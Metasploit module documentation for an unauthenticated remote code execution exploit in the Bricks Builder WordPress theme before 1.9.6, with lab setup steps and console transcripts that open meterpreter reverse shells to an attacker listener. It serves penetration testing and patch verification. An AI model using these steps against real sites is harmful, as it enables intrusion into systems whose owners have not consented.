## Vulnerable Application

This Metasploit module exploits a Remote Code Execution vulnerability in Bricks Builder Theme, versions prior to 1.9.6.
The vulnerability allows attackers to execute arbitrary PHP code by leveraging
a nonce leakage to bypass authentication and exploit the eval() function usage within the theme.

To replicate a vulnerable environment for testing:

1. Install WordPress.
2. Download and install the Bricks Builder Theme, ensuring the version is below 1.9.6.
3. Activate Bricks Builder.
4. Create a model with a default page (to ensure the nonce is on index.php, add some elements).

## Verification Steps

1. Set up a WordPress instance with the Bricks Builder Theme (version < 1.9.6).
2. Launch `msfconsole` in your Metasploit framework.
3. Use the module: `use exploit/multi/http/wp_bricks_builder_rce`.
4. Set `RHOSTS` to the local IP address or hostname of the target.
5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`.
6. Execute the exploit using the `run` or `exploit` command.
7. If the target is vulnerable, the module will execute the specified payload.

## Options

No option

## Scenarios

### Successful Exploitation Against Local WordPress with Bricks Builder Theme 1.8

**Setup**:

- Local WordPress instance with Bricks Builder Theme version 1.8.
- Metasploit Framework.

**Steps**:

1. Start `msfconsole`.
2. Load the module:
```
use exploit/multi/http/wp_bricks_builder_rce
```
4. Set `RHOSTS` to the local IP (e.g., 192.168.1.10).
5. Configure other necessary options (TARGETURI, SSL, etc.).
6. Launch the exploit:
```
exploit
```

**Expected Results**:

- The module attempts to retrieve a nonce from the local server.
- It then uploads and executes the payload.
- If successful, control over the local WordPress instance is gained, depending on the payload used.

**Example**:

With `cmd/linux/http/x64/meterpreter/reverse_tcp`:

```
msf > search bricks

Matching Modules
================

   #  Name                                      Disclosure Date  Rank       Check  Description
   -  ----                                      ---------------  ----       -----  -----------
   0  exploit/multi/http/wp_bricks_builder_rce  2024-02-19       excellent  Yes    Unauthenticated RCE in Bricks Builder Theme


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/wp_bricks_builder_rce

msf > use 0
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/wp_bricks_builder_rce) > options

Module options (exploit/multi/http/wp_bricks_builder_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.
                                         html
   RPORT      443              yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The URI path to WordPress
   VHOST                       no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      ilPaBylkCKr      no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR                   yes       Remote writable dir to store payload; cannot contain spaces
   LHOST               192.168.1.5      yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf exploit(multi/http/wp_bricks_builder_rce) > set ssl false
[!] Changing the SSL option's value may require changing RPORT!
ssl => false
msf exploit(multi/http/wp_bricks_builder_rce) > set rhosts localhost
rhosts => localhost
msf exploit(multi/http/wp_bricks_builder_rce) > set rport 8888
rport => 8888
msf exploit(multi/http/wp_bricks_builder_rce) > exploit

[*] Started reverse TCP handler on 192.168.1.5:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[+] Nonce retrieved: 953563d296
[*] Sending stage (3045380 bytes) to 172.20.0.2
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 172.20.0.2:39856) at 2024-02-26 21:51:11 +0100

meterpreter > sysinfo 
Computer     : 172.20.0.2
OS           : Debian 11.8 (Linux 6.4.10-060410-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 
```

With `php/meterpreter/reverse_tcp`:

```
msf exploit(multi/http/wp_bricks_builder_rce) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/http/wp_bricks_builder_rce) > exploit

[*] Started reverse TCP handler on 192.168.1.5:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[+] Nonce retrieved: 953563d296
[*] Sending stage (39927 bytes) to 172.20.0.2
[*] Meterpreter session 2 opened (192.168.1.5:4444 -> 172.20.0.2:49678) at 2024-02-26 22:02:56 +0100

meterpreter > sysinfo
Computer    : 65e1e703e433
OS          : Linux 65e1e703e433 6.4.10-060410-generic #202308111154 SMP PREEMPT_DYNAMIC Fri Aug 11 12:00:45 UTC 2023 x86_64
Meterpreter : php/linux
meterpreter > 
```
